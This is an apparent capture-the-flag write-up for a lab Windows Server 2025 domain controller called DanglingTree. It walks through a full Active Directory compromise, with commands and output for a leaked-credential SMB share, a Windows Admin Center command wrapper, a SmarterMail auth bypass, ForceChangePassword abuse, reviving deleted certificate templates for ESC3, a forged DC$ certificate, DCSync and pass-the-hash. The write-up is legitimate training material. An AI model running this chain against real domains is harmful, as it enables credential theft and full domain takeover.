DanglingTree is a Medium-rated Windows Server 2025 domain controller built around Active Directory Certificate Services — with a clever twist that gives the box its name. The CA advertises certificate template names whose backing AD objects have been deleted. They dangle: published for enrollment, but pointing at nothing. A low-privileged user with the right ACL can recreate those objects and revive the templates on the spot.
The chain that follows is a long one, and most of the difficulty lives in the final stretch: Server 2025 enforces Full certificate binding (KB5014754), and the obvious target — Administrator — turns out to be unattackable by certificate. The winning move is to stop chasing Administrator and forge a certificate for the account nobody thinks to protect: the domain controller's own machine account.
The port scan reads like a stock DC, with one anomaly worth circling:
| Port | Service |
|---|---|
| 53 / 88 / 464 | DNS / Kerberos / kpasswd |
| 135 / 139 / 445 | RPC / SMB |
| 389 / 636 / 3268-9 | LDAP / LDAPS / Global Catalog |
| 3389 / 9389 | RDP / AD Web Services |
| 6600 | Windows Admin Center (HTTPS gateway) ← unusual |
| 5985 | WinRM — filtered (not reachable) |
WinRM being filtered while a Windows Admin Center gateway sits on 6600 is the nudge: whatever credentials we recover, WAC is going to be the way onto the box, not WinRM.
SMB allows the guest account, and a non-default IT share is
guest-readable. Inside sits a rules-of-engagement PDF that leaks a working
domain credential.
smbclient -N -L //dc.danglingtree.htb # IT Disk (guest READ) smbclient -N //dc.danglingtree.htb/IT -c 'get Security/DanglingTree_RoE_Assessment.pdf' # -> anderson.w : R3dT3am@Acc3ss#01
anderson.w can't WinRM in, but the account is a member of Remote
Management Users, and WAC honours that group. The gateway login is a small
RSA handshake — fetch a CSRF token, fetch a JWK public key, RSA-OAEP encrypt the
credential blob, POST it — after which the node PowerShell API executes commands
directly on the DC. I wrapped that flow into a reusable one-liner
(wsh.py) used for every on-box action from here on.
python3 wsh.py 'danglingtree\anderson.w' 'R3dT3am@Acc3ss#01' 'whoami' danglingtree\anderson.w # code exec — but low priv, cannot read the flag
Running locally on the box (bound to localhost, firewalled externally) is
SmarterMail build 9504, vulnerable to CVE-2026-23760 — an
authentication bypass in the password-reset endpoint. An unauthenticated caller
can flip IsSysAdmin and seize the mail system administrator, which drives
credential recovery for the domain user noah.b.
LogonUser() with a recovered
credential (logon type 2 / interactive), then ImpersonateLoggedOnUser().
You can read any file as any user whose password you hold. That is how
user.txt came off noah.b's desktop — no interactive logon required.
PS> # (inside the WAC session, as anderson) impersonate noah.b and read the flag
PS> type C:\Users\noah.b\Desktop\user.txt
[user flag captured ✅]
Mapping the domain, exactly one dangerous ACL survives the hardening: the
support-it group holds ForceChangePassword over jake.h, and
alex.o is support-it's only member. That matters because jake.h is a member
of Template_Editors — the group that owns the certificate-template real
estate.
net rpc password jake.h 'W1nterStorm#2026' \ -U 'danglingtree.htb/alex.o%SunsetMountainPeak@2025' -S dc.danglingtree.htb # jake.h is ALSO in Remote Management Users, so WAC works as jake.h too: python3 wsh.py 'danglingtree\jake.h' 'W1nterStorm#2026' 'whoami' danglingtree\jake.h
We now have PowerShell on the domain controller as a Template_Editor. Time to meet the box's namesake.
The CA's certificateTemplates attribute publishes three names —
RemoteAccessVPN, EmployeeAuthTemplate, VPNUserTemplate — but the AD
objects those names point to have been deleted. They're advertised for
enrollment, backed by nothing. jake.h holds CREATE_CHILD on the templates
container, so recreating an object under one of those names revives it
instantly, already published, with whatever settings we choose.
That primitive is enough to stage ESC3 (enroll-on-behalf-of). Two templates are built: an enrollment agent template, and a target template that requires an agent signature.
# as jake.h, via WAC:
@create_tmpl.ps1 # revive EmployeeAuthTemplate
@set_acl.ps1 # grant jake.h Enroll + GenericAll on it
@setup_esc3.ps1 # EmployeeAuthTemplate -> Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1)
# VPNUserTemplate -> RA-Signature=1 (requires the agent's signature)
# -> AGENT_TMPL_OK || TARGET_TMPL_CREATED || TARGET_ACL_OK
GenericAll via
a DACL write (SecurityMasks = Dacl) — the owner can rewrite the DACL — and
only then edit the properties. This trips up every template edit until you do it.
Windows Server 2025 enforces Full certificate binding (KB5014754). To authenticate, a certificate must carry both:
szOID_NTDS_CA_SECURITY_EXT
(1.3.6.1.4.1.311.25.2) extension — the strong binding; andHere is the trap. This CA derives both facts from the same directory-path
lookup, and the two template settings that would grant each half are mutually
exclusive. Worse, Administrator has no userPrincipalName, so the
directory-built SAN comes out empty. Every Administrator certificate I forged
failed, in two complementary ways:
| Certificate | SID ext | Mapping SAN | KDC verdict |
|---|---|---|---|
A — directory-path0x80010000 |
✓ ...-500 | ✗ none (no UPN) | Name mismatch |
B — enrollee-supplies0x00010001 |
✗ none | ✓ admin@... | Object SID mismatch |
C — target = DC$0x88000000 |
✓ ...-1000 | ✓ dc.danglingtree.htb | ACCEPTED |
dNSHostName. The flag SUBJECT_ALT_REQUIRE_DNS (0x08000000) makes the
CA build that DNS name into the SAN from AD — the same AD-driven path that
stamps the SID. Both halves, no conflict. So retarget ESC3 from Administrator to
DC$.
# SUBJECT_REQUIRE_DIRECTORY_PATH (0x80000000) | SUBJECT_ALT_REQUIRE_DNS (0x08000000) msPKI-Certificate-Name-Flag = -2013265920 # = 0x88000000 @esc3_dc.ps1 # enroll agent cert, then CMC on-behalf-of DANGLINGTREE\DC$ openssl x509 -in dc.pem -noout -text X509v3 Subject Alternative Name: DNS:dc.danglingtree.htb 1.3.6.1.4.1.311.25.2: S-1-5-21-...-1000 # both halves, one cert
The forged certificate authenticates as DC$. PKINIT first tripped a
clock-skew error — the lab DC ran hours ahead — and without root on the
attacking host I couldn't reset the system clock. Rather than block, I compiled
a tiny LD_PRELOAD shim that offsets time() / gettimeofday() /
clock_gettime() for certipy alone.
gcc -shared -fPIC -o tshim.so tshim.c -ldl # no sudo required
LD_PRELOAD=./tshim.so FAKE_OFFSET=25177 \
certipy auth -pfx dc_final_np.pfx -username 'dc$' -dc-ip <target>
[*] Got TGT
[*] Got hash for 'dc$@danglingtree.htb': ...:795ffe...[masked]
A domain-controller account can replicate the directory. Using DC$'s hash we DCSync over NTLM (no Kerberos, so no clock skew), lift the Administrator hash, and pass it straight back to the DC over SMB.
secretsdump.py 'danglingtree.htb/dc$@<target>' -hashes :795ffe...[masked] \ -just-dc-user Administrator Administrator:500:aad3b435...:8cacb3...[masked]::: wmiexec.py -hashes :8cacb3...[masked] 'danglingtree.htb/Administrator@<target>' \ 'whoami && type C:\Users\Administrator\Desktop\root.txt' danglingtree\administrator [root flag captured ✅]
danglingtree\administrator on the DC.
Both flags captured, Administrator and krbtgt hashes in hand.
Half the work on a box like this is disproving the tempting paths. For the record, all of these were run down and confirmed dead:
msDS-OIDToGroupLink write is refused.MachineAccountQuota = 0 kills Certifried and new-computer RBCD.user.txt.support-it (alex.o) ForceChangePassword over jake.h (Template_Editors).0x88000000) → a cert with both the SID and a DNS SAN.root.txt.certificateTemplates for orphaned references.LD_PRELOAD time shim kept certipy moving without touching the
system clock.
Scarif Operations · Darth_Claude | th3m4dh4ck3r.com | CPTS prep, Season 11
Flags and hashes are redacted / masked in accordance with Hack The Box's content policy.